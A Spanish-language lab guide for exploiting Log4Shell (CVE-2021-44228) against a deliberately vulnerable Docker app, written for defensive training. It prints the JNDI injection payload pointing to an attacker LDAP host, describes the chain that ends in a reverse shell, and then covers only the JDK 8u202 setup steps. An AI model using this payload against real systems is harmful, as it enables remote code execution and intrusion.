Laboratorio práctico para explotar y comprender Log4Shell (CVE-2021-44228) usando Docker, Kali Linux, Burp Suite y log4j-shell-poc. Solo para enseñanza y entrenamiento defensivo en entornos de laboratorio controlados.
Log4Shell (CVE-2021-44228) es una de las vulnerabilidades de ejecución remota de código más impactantes jamás divulgadas. Afecta a Apache Log4j 2, un framework de registro (logging) de Java ampliamente utilizado, y permite a los atacantes ejecutar código arbitrario mediante el abuso de búsquedas JNDI en mensajes de registro.
Esta guía proporciona un laboratorio de demostración completo y reproducible que utiliza:
log4j-shell-pocEstá diseñada exclusivamente para enseñanza, investigación, formación y concienciación defensiva en entornos controlados. La estructura y el estilo siguen el mismo espíritu que el README del laboratorio complementario «Shellshock».
poc.py para Usar JDK 1.8.0_202curlEste laboratorio solo debe realizarse en un entorno controlado donde tengas autorización explícita (tu propio laboratorio, máquinas virtuales de clase, etc.).
Log4Shell (CVE-2021-44228) es una vulnerabilidad crítica de RCE en Apache Log4j 2.
El problema surge porque las versiones vulnerables de Log4j2 interpretan cadenas controladas por el atacante como:
${jndi:ldap://ATTACKER_IP:1389/a}
Cuando esta cadena se registra, Log4j:
En este laboratorio:
log4j-shell-poc.curl y mediante Burp Suite.Al finalizar este laboratorio, deberías ser capaz de:
Todos los componentes se ejecutan sobre tu laboratorio virtual existente. Para esta documentación asumimos:
| Componente | Rol / Descripción | Herramientas / Servicios | Direccionamiento de Ejemplo |
|---|---|---|---|
| VM Kali Linux (Atacante + Host) | Ejecuta el PoC del exploit, servidor LDAP, servidor HTTP, listener de Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (IP de ejemplo de Kali) |
| Aplicación web Log4j2 vulnerable | Objetivo; aplicación web Spring Boot vulnerable a Log4Shell | Imagen Docker: ghcr.io/christophetd/log4shell-vulnerable-app | Expuesta en http://127.0.0.1:8080 |
Idea clave
El atacante inyecta:
${jndi:ldap://192.168.1.4:1389/a}
en una cabecera HTTP. La aplicación vulnerable la registra usando Log4j2 → realiza una búsqueda JNDI LDAP hacia 192.168.1.4:1389 → descarga una clase maliciosa desde http://192.168.1.4:8000 → ejecuta la clase, que abre una reverse shell de vuelta a 192.168.1.4:9001.
En Kali necesitas:
nc).A lo largo de esta guía asumimos que la IP de Kali es:
192.168.1.4
Si tu IP es diferente, ajusta todos los comandos en consecuencia.
El PoC depende de Java SE 8 Update 202 (JDK 1.8.0_202) porque las versiones posteriores de Java restringen el comportamiento de carga remota de clases que utiliza este exploit.
Incluso si Kali ya tiene OpenJDK 21 (o similar), igualmente necesitas instalar 8u202 por separado.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Raíz del espejo:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Descarga el tarball para Linux x64 (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # debería ser ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
La opción --strip-components=1 elimina el directorio de nivel superior del archivo para que los archivos queden directamente en /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Salida esperada:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Si ves esto, JDK 1.8.0_202 está correctamente instalado.
En una nueva terminal en Kali (puedes permanecer en ~/Log4Shell):